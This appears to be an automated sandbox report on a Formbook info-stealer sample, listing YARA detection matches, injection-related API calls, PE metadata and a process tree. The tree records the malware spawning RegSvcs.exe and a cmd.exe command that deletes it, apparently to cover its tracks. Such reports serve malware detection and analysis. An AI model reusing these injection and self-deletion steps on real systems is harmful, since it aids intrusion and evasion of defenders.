Source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA2068	1_2_04FA2068
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA4190	1_2_04FA4190
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA28D0	1_2_04FA28D0
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA28CE	1_2_04FA28CE
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA2059	1_2_04FA2059
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA2510	1_2_04FA2510
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA6D08	1_2_04FA6D08
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA2501	1_2_04FA2501
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA2ACF	1_2_04FA2ACF
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA0388	1_2_04FA0388
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA037A	1_2_04FA037A
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_04FA2B0F	1_2_04FA2B0F
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_054CE5CA	1_2_054CE5CA
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_054CE5D8	1_2_054CE5D8
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Code function: 1_2_054CBC34	1_2_054CBC34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00401027	6_2_00401027
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00401030	6_2_00401030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041C94A	6_2_0041C94A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041BB99	6_2_0041BB99
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00408C60	6_2_00408C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00402D90	6_2_00402D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041A6AA	6_2_0041A6AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00402FB0	6_2_00402FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F7B090	6_2_00F7B090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01021002	6_2_01021002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F84120	6_2_00F84120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F6F900	6_2_00F6F900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F9EBB0	6_2_00F9EBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_01031D55	6_2_01031D55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F60D20	6_2_00F60D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00F86E30	6_2_00F86E30
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008748E6	23_2_008748E6
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00895CEA	23_2_00895CEA
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00879CF0	23_2_00879CF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0087D803	23_2_0087D803
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0087E040	23_2_0087E040
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00877190	23_2_00877190
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008931DC	23_2_008931DC
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00893506	23_2_00893506
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00886550	23_2_00886550
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00881969	23_2_00881969
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00878AD7	23_2_00878AD7
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00875226	23_2_00875226
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0087FA30	23_2_0087FA30
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00875E70	23_2_00875E70
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00885FC8	23_2_00885FC8
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00896FF0	23_2_00896FF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0087CB48	23_2_0087CB48
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035DEBB0	23_2_035DEBB0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C6E30	23_2_035C6E30
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03671D55	23_2_03671D55
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035AF900	23_2_035AF900
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035A0D20	23_2_035A0D20
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035C4120	23_2_035C4120
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BD5E0	23_2_035BD5E0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035B841F	23_2_035B841F
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_03661002	23_2_03661002
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035BB090	23_2_035BB090

Source: C:\Windows\SysWOW64\cmd.exe

Code function: String function: 035AB150 appears 32 times

Source: C:\Windows\SysWOW64\cmd.exe

Code function: 23_2_0088374E InitializeProcThreadAttributeList,UpdateProcThreadAttribute,memset,memset,GetStartupInfoW,lstrcmpW,CreateProcessW,CloseHandle,GetLastError,GetLastError,DeleteProcThreadAttributeList,_local_unwind4,CreateProcessAsUserW,GetLastError,CloseHandle,

23_2_0088374E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_004185C0 NtCreateFile,	6_2_004185C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00418670 NtReadFile,	6_2_00418670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_004186F0 NtClose,	6_2_004186F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_004187A0 NtAllocateVirtualMemory,	6_2_004187A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_0041866C NtReadFile,	6_2_0041866C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_004186EA NtClose,	6_2_004186EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA98F0 NtReadVirtualMemory,LdrInitializeThunk,	6_2_00FA98F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9860 NtQuerySystemInformation,LdrInitializeThunk,	6_2_00FA9860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9840 NtDelayExecution,LdrInitializeThunk,	6_2_00FA9840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA99A0 NtCreateSection,LdrInitializeThunk,	6_2_00FA99A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	6_2_00FA9910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9A50 NtCreateFile,LdrInitializeThunk,	6_2_00FA9A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9A20 NtResumeThread,LdrInitializeThunk,	6_2_00FA9A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9A00 NtProtectVirtualMemory,LdrInitializeThunk,	6_2_00FA9A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA95D0 NtClose,LdrInitializeThunk,	6_2_00FA95D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9540 NtReadFile,LdrInitializeThunk,	6_2_00FA9540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA96E0 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_00FA96E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9660 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_00FA9660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9FE0 NtCreateMutant,LdrInitializeThunk,	6_2_00FA9FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA97A0 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_00FA97A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9780 NtMapViewOfSection,LdrInitializeThunk,	6_2_00FA9780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9710 NtQueryInformationToken,LdrInitializeThunk,	6_2_00FA9710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA98A0 NtWriteVirtualMemory,	6_2_00FA98A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FAB040 NtSuspendThread,	6_2_00FAB040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9820 NtEnumerateKey,	6_2_00FA9820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA99D0 NtCreateProcessEx,	6_2_00FA99D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9950 NtQueueApcThread,	6_2_00FA9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9A80 NtOpenDirectoryObject,	6_2_00FA9A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9A10 NtQuerySection,	6_2_00FA9A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FAA3B0 NtGetContextThread,	6_2_00FAA3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9B00 NtSetValueKey,	6_2_00FA9B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA95F0 NtQueryInformationFile,	6_2_00FA95F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9560 NtWriteFile,	6_2_00FA9560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FAAD30 NtSetContextThread,	6_2_00FAAD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9520 NtWaitForSingleObject,	6_2_00FA9520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA96D0 NtCreateKey,	6_2_00FA96D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9670 NtQueryInformationProcess,	6_2_00FA9670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9650 NtQueryValueKey,	6_2_00FA9650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9610 NtEnumerateValueKey,	6_2_00FA9610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9770 NtSetInformationFile,	6_2_00FA9770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FAA770 NtOpenThread,	6_2_00FAA770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9760 NtOpenProcess,	6_2_00FA9760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FA9730 NtQueryVirtualMemory,	6_2_00FA9730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00FAA710 NtOpenProcessToken,	6_2_00FAA710
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008758A4 _setjmp3,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,longjmp,	23_2_008758A4
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008784BE NtQueryVolumeInformationFile,GetFileInformationByHandleEx,	23_2_008784BE
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0087B4C0 NtQueryInformationToken,	23_2_0087B4C0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0087B4F8 NtQueryInformationToken,NtQueryInformationToken,	23_2_0087B4F8
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0087B42E NtOpenThreadToken,NtOpenProcessToken,NtClose,	23_2_0087B42E
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00896D90 EnterCriticalSection,LeaveCriticalSection,fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,	23_2_00896D90
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0089B5E0 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memcpy,memcpy,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,	23_2_0089B5E0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_00899AB4 NtSetInformationFile,	23_2_00899AB4
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008783F2 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,DeleteFileW,GetLastError,	23_2_008783F2
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9710 NtQueryInformationToken,LdrInitializeThunk,	23_2_035E9710
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9FE0 NtCreateMutant,LdrInitializeThunk,	23_2_035E9FE0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9780 NtMapViewOfSection,LdrInitializeThunk,	23_2_035E9780
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9A50 NtCreateFile,LdrInitializeThunk,	23_2_035E9A50
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E96D0 NtCreateKey,LdrInitializeThunk,	23_2_035E96D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E96E0 NtFreeVirtualMemory,LdrInitializeThunk,	23_2_035E96E0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9540 NtReadFile,LdrInitializeThunk,	23_2_035E9540
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	23_2_035E9910
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E95D0 NtClose,LdrInitializeThunk,	23_2_035E95D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E99A0 NtCreateSection,LdrInitializeThunk,	23_2_035E99A0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9840 NtDelayExecution,LdrInitializeThunk,	23_2_035E9840
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9860 NtQuerySystemInformation,LdrInitializeThunk,	23_2_035E9860
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9770 NtSetInformationFile,	23_2_035E9770
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035EA770 NtOpenThread,	23_2_035EA770
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9760 NtOpenProcess,	23_2_035E9760
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035EA710 NtOpenProcessToken,	23_2_035EA710
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9B00 NtSetValueKey,	23_2_035E9B00
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9730 NtQueryVirtualMemory,	23_2_035E9730
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035EA3B0 NtGetContextThread,	23_2_035EA3B0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E97A0 NtUnmapViewOfSection,	23_2_035E97A0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9650 NtQueryValueKey,	23_2_035E9650
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9670 NtQueryInformationProcess,	23_2_035E9670
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9660 NtAllocateVirtualMemory,	23_2_035E9660
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9610 NtEnumerateValueKey,	23_2_035E9610
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9A10 NtQuerySection,	23_2_035E9A10
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9A00 NtProtectVirtualMemory,	23_2_035E9A00
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9A20 NtResumeThread,	23_2_035E9A20
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9A80 NtOpenDirectoryObject,	23_2_035E9A80
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9950 NtQueueApcThread,	23_2_035E9950
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9560 NtWriteFile,	23_2_035E9560
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035EAD30 NtSetContextThread,	23_2_035EAD30
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9520 NtWaitForSingleObject,	23_2_035E9520
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E99D0 NtCreateProcessEx,	23_2_035E99D0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E95F0 NtQueryInformationFile,	23_2_035E95F0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035EB040 NtSuspendThread,	23_2_035EB040
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E9820 NtEnumerateKey,	23_2_035E9820
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E98F0 NtReadVirtualMemory,	23_2_035E98F0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_035E98A0 NtWriteVirtualMemory,	23_2_035E98A0

Source: C:\Windows\SysWOW64\cmd.exe

Code function: 23_2_00886550: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPAX@Z,memset,CreateFileW,DeviceIoControl,memcpy,CloseHandle,??_V@YAXPAX@Z,memset,??_V@YAXPAX@Z,FindClose,??_V@YAXPAX@Z,

23_2_00886550

Source: TPJX2QwEdXs5sTV.exe, 00000001.00000000.242394304.0000000000D72000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameBINDOP.exeh$ vs TPJX2QwEdXs5sTV.exe
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.280628910.0000000001448000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs TPJX2QwEdXs5sTV.exe
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameCF_Secretaria.dll< vs TPJX2QwEdXs5sTV.exe
Source: TPJX2QwEdXs5sTV.exe	Binary or memory string: OriginalFilenameBINDOP.exeh$ vs TPJX2QwEdXs5sTV.exe

Source: TPJX2QwEdXs5sTV.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: TPJX2QwEdXs5sTV.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: TPJX2QwEdXs5sTV.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: TPJX2QwEdXs5sTV.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: TPJX2QwEdXs5sTV.exe

ReversingLabs: Detection: 17%

Source: TPJX2QwEdXs5sTV.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe 'C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe'
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'	Jump to behavior

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TPJX2QwEdXs5sTV.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@10/1@7/3

Source: C:\Windows\SysWOW64\cmd.exe

Code function: 23_2_0089A0D2 memset,GetDiskFreeSpaceExW,??_V@YAXPAX@Z,

23_2_0089A0D2

Source: C:\Windows\SysWOW64\cmd.exe

Code function: 23_2_0087C5CA _get_osfhandle,GetConsoleScreenBufferInfo,WriteConsoleW,GetLastError,GetLastError,FormatMessageW,GetConsoleScreenBufferInfo,WriteConsoleW,GetStdHandle,FlushConsoleInputBuffer,GetConsoleMode,SetConsoleMode,_getch,SetConsoleMode,GetConsoleScreenBufferInfo,FillConsoleOutputCharacterW,SetConsoleCursorPosition,EnterCriticalSection,LeaveCriticalSection,exit,

23_2_0087C5CA

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

